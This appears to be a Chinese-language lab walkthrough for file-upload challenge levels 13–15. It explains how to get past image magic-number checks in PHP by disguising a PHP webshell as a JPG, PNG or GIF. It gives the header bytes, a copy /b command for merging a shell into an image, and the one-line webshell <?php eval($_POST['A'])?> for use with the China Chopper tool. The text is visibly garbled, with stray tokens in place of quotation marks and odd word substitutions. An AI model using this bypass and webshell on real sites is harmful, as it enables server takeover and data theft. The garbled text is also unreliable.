本次上传打破13,14,15关任务和之前的不同,这里只须要成功上传图片马,并且图片马里有完全的webshell即可
对付第十三关第十四关和第十五关这三关都是对文件幻数进行了检测,只不过第十四关利用的是getimagesize函数,第十五关利用的是exif_imagetype函数,函数返回值内容不一样而已
要想打破文件幻数检测,首先要理解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

jpg文件头部格式截图如下:
文件头值为FFD8FFE000104A464946 png文件头格式,网上大部分资料写的都是89504E47,但是经由我的测试,这四个16进制是仅仅不足的,如果只是89504E47的话,会使getimagesize函数和exif_imagetype函数报错
经由我的测试真正的文件头值该当是89504E470D0A1A0A
gif文件头格式
文件头值为474946383961经由测试,getimagesize函数和exif_imagetype函数都只是是对文件头进行检讨,只要文件头部符合函数就会返回内容
<?php
echo \"大众check jpg</br>\公众;
echo \公众getimagesize function return:</br>\"大众;
var_dump(getimagesize(\"大众heishacker.jpg\公众));
echo \"大众exif_imagetype function return:</br>\公众;
var_dump(exif_imagetype(\公众heishacker.jpg\公众));
echo \"大众</br>check png</br>\公众;
echo \公众getimagesize function return:</br>\公众;
var_dump(getimagesize(\"大众mingren.png\公众));
echo \"大众exif_imagetype function return:</br>\"大众;
var_dump(exif_imagetype(\公众mingren.png\"大众));
echo \"大众</br>check gif</br>\公众;
echo \公众getimagesize function return:</br>\"大众;
var_dump(getimagesize(\"大众xiangtian.gif\"大众));
echo \"大众exif_imagetype function return:</br>\"大众;
var_dump(exif_imagetype(\"大众xiangtian.gif\公众));
?>
以是这几关都可以上传图片马,图片马的文件头便是正常图片的文件头格式,从而绕过图片幻数检测windows下图片马制作办法
copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif
参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件(php文件),x.php文件里为要写的一句话木马这三关都可以成功上传图片马,并且里面有完全的一句话木马,但是有时候图片马里面的一些字符会使php报错,导致用文件包含或者解析漏洞去解析图片马中的php时导致解析不了,可以看到利用文件包含去解析三个图片马时均不能解析,哎,运气太差
而且有时候对文件大小也有限定,以是绕过文件幻数最得当的办法是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马
之后上传这三个伪图片马,这样不只可以上传成功,也可以利用文件包含漏洞或解析漏洞解析成功
这三关均可以采取这种办法通关,第十五关须要在php配置文件中开启php的php_exif扩展
By the way,许多对安全感兴趣但没有这方面履历的小朋友,看到这里总是觉得显示一个phpinfo的页面能代表什么,能够实行phpinfo(),这个函数证明,上传的文件可以实行PHP脚本,这个时候如果上传的是一句话木马<?php eval($_POST['A'])?>,就可以直接合营『菜刀』拿下全体站点,查看源码,乃至修正数据库或者掌握操作系统。